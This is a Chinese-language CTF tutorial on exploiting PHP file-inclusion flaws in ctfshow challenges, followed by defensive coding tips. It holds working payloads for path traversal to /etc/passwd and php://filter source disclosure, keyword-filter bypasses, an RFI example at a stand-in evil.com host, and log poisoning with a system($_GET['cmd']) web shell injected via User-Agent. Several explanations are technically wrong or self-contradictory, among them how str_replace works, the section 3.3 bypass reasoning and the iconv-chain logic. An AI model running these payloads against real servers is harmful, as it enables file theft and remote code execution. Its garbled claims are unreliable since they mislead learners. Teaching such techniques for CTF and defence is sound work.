第一次在 ctfshow 上刷到文件包含这个考点时,好多人的第一反应都一样:这不就是个正常的页面加载参数吗??page=home.php这种形式,看起来人畜无害,怎么就成漏洞了?我刚接触 Web 安全那阵子也是这个想法,直到自己在本地环境把include函数和用户输入拼在一起,亲眼看着/etc/passwd的内容被原样吐出来,才真正理解漏洞的成因不在功能,而在信任边界。
这篇文章围绕 ctfshow 上的文件包含题目,把这一块的基础知识点和绕过高频操作梳理一遍。适合正在刷 Web 入门系列、卡在?page=和?file=这些参数上不知道怎么继续的选手,也适合想系统补一下 LFI/RFI 原理的初学者。我会按自己真实做题的思路来写,尽量把“为什么这么做”讲清楚,而不是只给一串 Payload。
1. 文件包含问题的实质:include 信任了不该信任的输入
1.1 从 include 函数说到漏洞本质
PHP 提供了一族文件包含函数:include、include_once、require、require_once。它们的作用就是把一个文件的内容拿过来交给 PHP 引擎,当成当前脚本的一部分继续解析。正常场景下,网站为了共用页头页尾,常常会写这样的代码:
<?php $page = $_GET['page']; include($page); ?>比如index.php?page=header.php,就加载 header 文件,index.php?page=footer.php就加载 footer,功能上非常灵活。问题出在哪?出在$page这个变量完全由用户控制,服务器没有验证它到底是“本站页面”还是“任意文件”。
如果你把参数改成:
index.php?page=../../../../etc/passwdPHP 在处理相对路径时会一层一层往上跳,最终把/etc/passwd文件内容读出来。因为include只负责“把文件内容丢给 PHP 处理”,对于非 PHP 后缀的文件,它会原样把内容输出到响应里。这就是文件包含漏洞的实质:把用户输入直接拼接进文件包含逻辑,导致任意文件读取。
1.2 LFI 与 RFI 的区别以及 CTF 中为什么常考 PHP
文件包含按来源分成两种:
- LFI(本地文件包含):包含的是服务器本地的文件,比如
/etc/passwd、flag.php。 - RFI(远程文件包含):包含的是远程服务器上的文件,比如
http://evil.com/shell.txt。
远程包含的危害比本地包含大得多,因为攻击者可以直接让目标服务器执行自己的代码。但 PHP 远程文件包含有个前提:配置文件里allow_url_include要设置为 On。默认情况下这个是 Off 的,所以现代真实环境里 RFI 很少见,CTF 里如果出题人想考这个点,会在 Dockerfile 或 php.ini 里显式打开。而 LFI 则非常常见,因为它不需要额外的配置开关,只要代码里存在动态包含即可。
CTF 里文件包含为什么大多和 PHP 绑定?因为 PHP 的文件包含函数还能配合各种伪协议。Java、Python 虽然也有可能存在类似路径穿越的问题,但它们的“包含”机制和 PHP 完全不一样,很难像 PHP 这样通过php://filter直接读源码、通过data://直接执行代码。所以刷 ctfshow 的 Web 入门,如果看到题目里出现明显的file、page、include这类参数,第一反应就应该是:这八成是一道 PHP 文件包含题。
2. ctfshow 里典型考法:参数点、后缀追加与路径穿越的边界
2.1 经典入口:?page= 参数与看似正常的功能点
开始之前先把识别方法说清楚。文件包含题目在 ctfshow 上其实有挺明显的特征:URL 里会出现一个参数名,常见的有page、file、include、action、path、dir。也有少数题目会把路径放在 PATH_INFO 里,比如index.php/home/about。
看到这类参数,第一步就是用最简单的方式试探:
?page=../../../../etc/passwd ?file=index.php ?include=php://filter/read=convert.base64-encode/resource=index.php如果页面出现了root:x:0:0:root:/root:/bin/bash这种内容,或者输出一段 Base64,基本就坐实了文件包含。如果什么反应都没有,说明可能有过滤、扩展名拼接或者其他限制,需要继续往下走。
另外,我建议拿到题目先看一眼响应头里的Server字段和 PHP 版本信息。ctfshow 大多数 Web 题都是 Docker 环境,PHP 版本可能从 5.x 到 8.x 都有。版本不同,很多老技巧是否成立完全不一样。后面第三节会细说。
2.2 后缀追加时的绝对路径与空字节逻辑
出题人不会傻到让你直接include($_GET['page'])就完事。ctfshow 的入门系列里,很多题会在包含前后加点“料”,最常见的是:
<?php $file = $_GET['file']; include "pages/" . $file . ".php"; ?>代码的意思是:你要包含的文件必须放在pages/目录下,而且必须以.php结尾。这样一来,普通的../../../../etc/passwd会变成pages/../../../../etc/passwd.php,路径虽然穿越了,但最后多了.php后缀,目标文件就不存在了。
针对这种后缀追加,老一批 CTF 选手最熟悉的解法是空字节截断:
?file=../../../../etc/passwd%00在 PHP 5.3 之前的版本里,C 语言层面的字符串处理遇到\0会截断,所以include实际加载的是pages/../../../../etc/passwd,后面加的.php被忽略。但 PHP 5.3.4 之后这个坑被修复了,现在 ctfshow 上大部分环境都是 PHP 7+,空字节截断基本用不了。
那怎么办?有两个稳定思路:
- 绝对路径:代码拼接后是
pages//etc/passwd.php,但如果你输入../flag.php,会变成pages/../flag.php,如果pages目录和flag.php在同一级,这个路径可以命中。 - 用伪协议绕过后缀:
php://filter这类协议在解析时,resource后面的部分才是资源名。如果输入php://filter/read=convert.base64-encode/resource=flag.php,拼接后变成:
pages/php://filter/read=convert.base64-encode/resource=flag.php.php这看起来很奇怪,但部分场景下include会把pages/和前面的部分当成目录路径处理,而 PHP 的 filter 流会重新解析整个字符串。实际是否生效取决于内容。这就是为什么做题时要多试几种姿势,不要死记一个 Payload。
2.3 后缀解析差异:为什么有时候绝对路径反而更稳
上面提到绝对路径/etc/passwd加后缀的问题:pages//etc/passwd.php。Linux 系统里pages/是一个目录,//etc/passwd.php会被解释为从根目录开始的路径,所以真正的路径其实是/etc/passwd.php,这个文件不存在。
但如果目标是站内文件,比如flag.php就在项目根目录下,你可以用这种路径让拼接后的结果落在正确位置:
?file=../flag.php拼接后是pages/../flag.php,也就是项目根目录下的flag.php,完美命中。
这个技巧看起来简单,却是很多新手容易忽略的:后缀追加并不是不可绕过的,关键是让目标文件在拼接后的路径里“对得上”。先用目录结构反推,再构造相对路径,往往比重金砸各种伪协议更直接。
3. 读源码阶段的核心武器:php://filter 与过滤器的边界
3.1 为什么要用 Base64 读出 PHP 源码
如果直接include一个.php文件,PHP 会把它当脚本执行。比如flag.php内容是这样的:
<?php $flag = "ctfshow{test_flag}"; echo $flag; ?>直接?file=flag.php,输出的只是ctfshow{test_flag},你看不到$flag =这行代码,更别提echo $flag;后面可能还有注释、数据库连接信息之类的隐藏内容。很多题目的 flag 变量就藏在源码里,直接执行只会打印一部分,必须看原始代码。
php://filter就是干这个用的。它可以通过过滤器把文件内容转成另一种形式,避免 PHP 引擎直接执行。Base64 是首选:
?file=php://filter/read=convert.base64-encode/resource=flag.php这个 Payload 会把flag.php的原始内容进行 Base64 编码后输出,然后你在响应里拿到一串密文,解码后就是完整的 PHP 源码。
我经常看到有人用手工解码,或者复制到在线工具里解码。效率没问题,但做题时环境时间宝贵,建议直接命令行一把梭:
echo "PD9waHAgJGYgPSAiY3Rmc2hvd3sifTsgPz4=" | base64 -d3.2 大小写、过滤器选择与资源名细节
php://filter有几个容易被忽略的细节。
第一,协议名和处理过滤器名在 PHP 里不区分大小写。PHP://Filter和php://filter效果一样。有些题目做了简单的关键词拦截,只拦小写php://,那你直接换大写版本就可能绕过。
第二,read=可以省略。php://filter/convert.base64-encode/resource=flag.php也可以生效,默认会按读过滤器处理。写过滤器一般配合php://input用,CTF 里不太常见。
第三,多个过滤器可以用|串联:
php://filter/read=convert.base64-encode|string.rot13/resource=flag.php这种串联在题目要你“二次解码”时会出现。常见做法是先string.rot13再convert.base64-encode,输出后发现是带干扰的密文,需要一层层剥开。
第四,如果目标文件名本身有.php后缀,但拼接时又加了一个.php,比如resource=flag.php会被拼成flag.php.php,这时候可以先试resource=flag或resource=./flag,不同版本的行为不一致。我的经验是:先看是否能读出内容,读不出来就换资源名写法,没必要死磕一个。
3.3 一条链路的完整演示:从过滤到读出隐藏 flag
拿一个非常常见的 ctfshow 风格代码举例:
<?php $file = $_GET['file']; if (preg_match('/php|data|filter/i', $file)) { die("no no no"); } include "/var/www/html/" . $file . ".php"; ?>这个题目过滤了php、data、filter三个关键词,大小写不敏感。看到这种题,不要慌,它的过滤位置在协议名上,而不是在resource内容上。我们可以这样想:它过滤的是字符串,不是流解析行为。
如果直接构造:
?file=php://filter/read=convert.base64-encode/resource=index会被正则拦住,因为php出现了。
那怎么办?有两个方向:
- 用
./和目录跳转绕过拦截。?file=./../../...绕过的不是正则,是路径本身。但如果正则只匹配php|data|filter,这个方向不行。 - 用大小写变体。我前面提到协议名不区分大小写,但这里正则带了
i修饰符也不行。
真正合适的办法是,利用正则的匹配点。它只过滤php这个整体字符串,如果我用多级路径让最终被include的文件名里不出现这串字符,就不算非法。比如:
?file=..//..//..//flag这读的是/var/www/html/..//..//..//flag.php,本质上是目录穿越,但可以用来看别的。如果想看index.php源码,思路是换个过滤器。
我遇到这种题目一般会优先试php://filter的大小写、双写、填入./干扰正则,比如:
?file=./php://filter/read=convert.base64-encode/resource=index有些环境里./php://会被include当成一个相对路径,导致协议不生效,但有些版本可以。所以我说 ctfshow 做题最忌讳只背 Payload,一定要理解每个 Payload 背后的解析逻辑,然后针对当前环境做调整。
4. 绕过过滤规则的几种对抗思路:编码、符号干扰与多重过滤链
4.1 过滤关键词时的双写与大小写变体
CTF 里常见的过滤写法有两种:正则拦截和str_replace替换。这两种应对思路完全不同。
正则拦截,比如preg_match('/php/i', $file)只是“判断是否存在”,不修改原字符串。这时候你可以试试双写:
?file=phpphp://filter/read=convert.base64-encode/resource=flag.php有的出题人写的是str_replace('php', '', $file),会把第一次出现php替换成空字符串,phpphp替换后变成php,原本被删掉的关键字又回来了。但如果是正则拦截,双写没意义,因为依然能匹配到php。
还有就是把/换成\、反斜杠大小写混合、URL 编码混合,但要注意不同服务器对 URL 解码的处理路径不同。比如 nginx 默认会对%2f解码后传给 PHP-CGI,但某些配置下可能不会,这会导致本地测试成功、远程环境失效。所以我在 ctfshow 上遇到这类题,通常会准备一个本地php -S环境快速验证,不同版本差异真的很大。
4.2 路径穿越过滤的几种绕过形态
过滤../是文件包含题最常见的套路之一。常见写法:
$file = str_replace('../', '', $file);这种替换只替换一次,所以可以构造:
....//....//....//etc/passwd替换完第一组../(也就是....//里的中间部分)后,字符串变成../../开头的路径,刚好完成穿越。
如果替换是递归的,比如while循环一直删到没有../为止,那就需要用编码绕过:
..%2f..%2f..%2fetc/passwd服务器在解析重定向和文件路径时会对%2f解码,有些环境能正常读出来。
如果同时过滤.和/,那基本上属于“考正则绕过”的难题了,常见套路是用....//来绕.的匹配,因为正则preg_replace('/\.\.\//', '', '....//')会把中间的../删掉,剩下的../又组成了穿越路径。这种题目在 ctfshow 上偶尔会出现,思路依然是“利用删除逻辑产生的新路径”。
4.3 多重过滤器链:当基础协议全被拦死时的一种思路
php://filter的强大之处不只是读源码,它还能通过在同一个流上串联多个过滤器来对文件内容进行二次、三次变换。最常见的链子:
php://filter/read=convert.base64-encode|convert.iconv.utf-8.utf-16/resource=flag.phpconvert.iconv.*系列过滤器可以进行字符编码转换,string.rot13可以做字母偏移转换,dechunk可以处理分块数据。多个过滤器串联后,输出内容会经过多重处理,往往能把原先被正则拦截的关键字拆散,避免触发filter或base64的黑名单。
举一个我实际做过的思路:如果题目拦截了base64这个词,但允许iconv,我可以用:
php://filter/read=convert.iconv.utf-8.utf-16le|string.rot13/resource=flag.php输出会是一堆乱码加干扰字符,但这段内容里没有base64,可以避开关键词检查。拿到乱码后,再根据使用的过滤器逆推解码。
这一类过滤器链在入门题里不算高频,但它是“文件包含进阶”的标志性内容。如果发现前面几种绕过全部失效,就要往这个方向多想想。
5. 从任意文件读到代码执行:日志包含与相似路径
5.1 为什么日志文件能成为突破口
文件包含虽然已经能读取服务器上的任意文本文件了,但它的目标通常只是/flag这类敏感文件。有时候 flag 不在文件里,或者目标环境把 PHP 代码执行结果藏起来了,你只能读文件却没办法执行代码。这种情况下,需要把 LFI 升级成 RCE(远程代码执行)。
思路核心很简单:找服务器上一个“你能写入内容、且会被 PHP 引擎解析”的文件。日志文件正好满足条件。
以 Apache 为例,访问日志默认路径是/var/log/apache2/access.log。你访问目标网站时,服务器会把你发送的请求记录到这个文件里。记录内容的格式大概是:
192.168.1.1 - - [01/Jan/2024:10:00:00 +0000] "GET /index.php HTTP/1.1" 200 1234 "Mozilla/5.0"如果我在请求的 User-Agent 字段里塞一段 PHP 代码,比如:
User-Agent: <?php system($_GET['cmd']); ?>那么请求访问日志时,这段代码就会原样写入日志文件。然后再用文件包含漏洞把日志文件包含进来:
?file=/var/log/apache2/access.log&cmd=idPHP 引擎在解析日志文件时,遇到<?php ... ?>标签就会执行里面的代码,system('id')直接执行,输出命令结果。这就完成了从任意文件读到命令执行的一步。
5.2 注入点选择:为什么 User-Agent 比 URL 更稳
实际操作的时候,很多人习惯在 URL 后面加 Payload,比如访问:
GET /index.php?cmd=<?php system($_GET['cmd']); ?> HTTP/1.1这种方式有个问题:在 Nginx 或 Apache 的访问日志格式里,$request字段会把带特殊字符的 URL 原样记录,但不少服务器配置会转义或截断特殊字符。而 User-Agent 字段在大多数日志格式里是原样记录的,而且内容可以很长,适合放代码。
如果日志里<?php被转义成<?php或变成<?php,那包含进去 PHP 引擎就不会认。这时候可以调整注入语法,比如用短标签<?= system($_GET['cmd']); ?>,或者把代码拆成多行避免特殊字符被日志格式处理。
用 Burp 发送原始请求是最稳定的做法。手工把请求包改一下,在User-Agent里塞入代码,然后保持 TCP 连接不断开,直接请求一次,日志里就会留下标记。
5.3 日志路径不固定时的替代方案
如果你不知道日志文件在哪个路径,常见候选有:
/var/log/apache2/access.log(Debian/Ubuntu 系 Apache)/var/log/httpd/access_log(CentOS 系 Apache)/var/log/nginx/access.log(Nginx)/var/log/nginx/error.log
ctfshow 的 Docker 环境里,Apache 镜像居多,/var/log/apache2/access.log命中率很高。如果日志路径变了,可以先把整个目录结构摸一遍,或者尝试用伪协议读/proc/self/cmdline看看 web 服务启动命令,再推断日志路径。
除了日志,还有一些类似思路:
- Session 文件包含:PHP 默认把 Session 文件存到
/tmp/sess_<sessionid>,如果你能控制 Session 内容(比如把 PHP 代码写入$_SESSION值),再用 LFI 包含它。文件名没有.php后缀,如果代码是include $file . ".php",这种思路会卡住。 - 临时上传文件包含:上传一个包含 PHP 代码的文件,然后用 LFI 去包含它,但 PHP 会在请求结束后删除临时文件,需要用到条件竞争,难度较大。
/proc/self/environ:把 PHP 代码写进 HTTP 头,然后通过 LFI 读环境变量文件。这个技巧太老,很多环境默认读取权限已限制,现代 Docker 基本不行了。
6. 实战排查清单与训练建议
6.1 拿到文件包含题后,我的固定排查顺序
自己刷 ctfshow 文件包含题时,慢慢总结了一套固定流程,分享出来:
- 看参数名,判断是
page、file还是include,先试一次/etc/passwd,确认存在 LFI。 - 用
php://filter/read=convert.base64-encode/resource=index.php读目标源码,搞清楚过滤规则和拼接方式。 - 看过滤规则:是在代码里
preg_match还是str_replace?大小写敏感不敏感?过滤的是参数还是最终拼接出来的路径? - 判断目标文件名后缀:读源码时资源名要不要带
.php?带上了会不会拼出.php.php? - 逐个尝试伪协议:
php://filter不行就试php://input、data://;只读不行就找 RCE 入口。 - 如果直接执行不了,转日志包含、Session 包含等旁路。
这套顺序让我避免了很多“乱试字符串”的低效操作。直接读源码永远是第一步,只有看清楚了过滤规则,后面的绕过才能对症下药。
6.2 容易踩的坑和自测方法
第一个坑是对 PHP 版本判断出错。空字节截断和短标签这类技巧对版本极度敏感,我在本地 PHP 8 环境测试一个<?=短标签没问题,但环境是 PHP 5 时,某些配置需要开启short_open_tag才能生效。所以我建议你在本地装一个和 ctfshow 环境差不多的 PHP 容器,版本越低越能覆盖老技巧。
第二个坑是过滤器链的解码顺序搞反。多个过滤器串联时,输出是你从流里读到的最后结果,解码时要逆着过滤器顺序来。比如convert.base64-encode|string.rot13,先 Base64 再 ROT13,解码时就要先 ROT13 再 Base64。
第三个坑是把php://filter当成所有文件包含题的万能钥匙。如果题目过滤了php://,你却还在纠结怎么拼这个协议名,不如回头看看这个过滤是不是可以用路径拼接绕过去,或者直接走data://。做 CTF 时思路灵活比技巧多更重要。
自测方法很简单:把题目代码复制到本地,自己去实现过滤逻辑,再写脚本测试各种绕过变体。很多网上流传的 Payload 在特定版本才有效,只有亲手验证过,做题时才有底气。
6.3 日常开发中怎么避免写出文件包含漏洞
写了几年代码之后回头看,文件包含漏洞的根源就是“文件名不可控”。写业务代码时,必须坚持这一条:
- 文件名和路径用白名单,比如定义好允许包含的模块,用户传入的索引必须匹配白名单。
- 绝不直接拼接用户输入到
include、require、fopen这类函数里。 - 如果确实需要动态包含,先做真实路径校验,把路径限制在站点目录内。
- 关闭远程文件包含开关,生产环境里
allow_url_include保持默认 Off。 - 对上传文件做随机命名,避免攻击者通过文件名预测路径。
CTF 题目的很多漏洞原型,其实就是早期真实项目中常见的不规范写法的放大。把漏洞原理弄明白,不光学做题有帮助,写代码时也能形成条件反射式的安全意识。
我在 ctfshow 上刷文件包含这部分题时最大的感受是:它很像解谜游戏,给的不是终极答案,而是一条由源码和过滤规则组成的线索链。读源码、看过滤、构造 Payload、验证执行,每一步都需要你对 PHP 的机制有足够细的了解。把这一套练熟了,后面再遇到任意文件读取、包含 RCE、甚至复杂过滤器链的题目,思路都会清晰很多。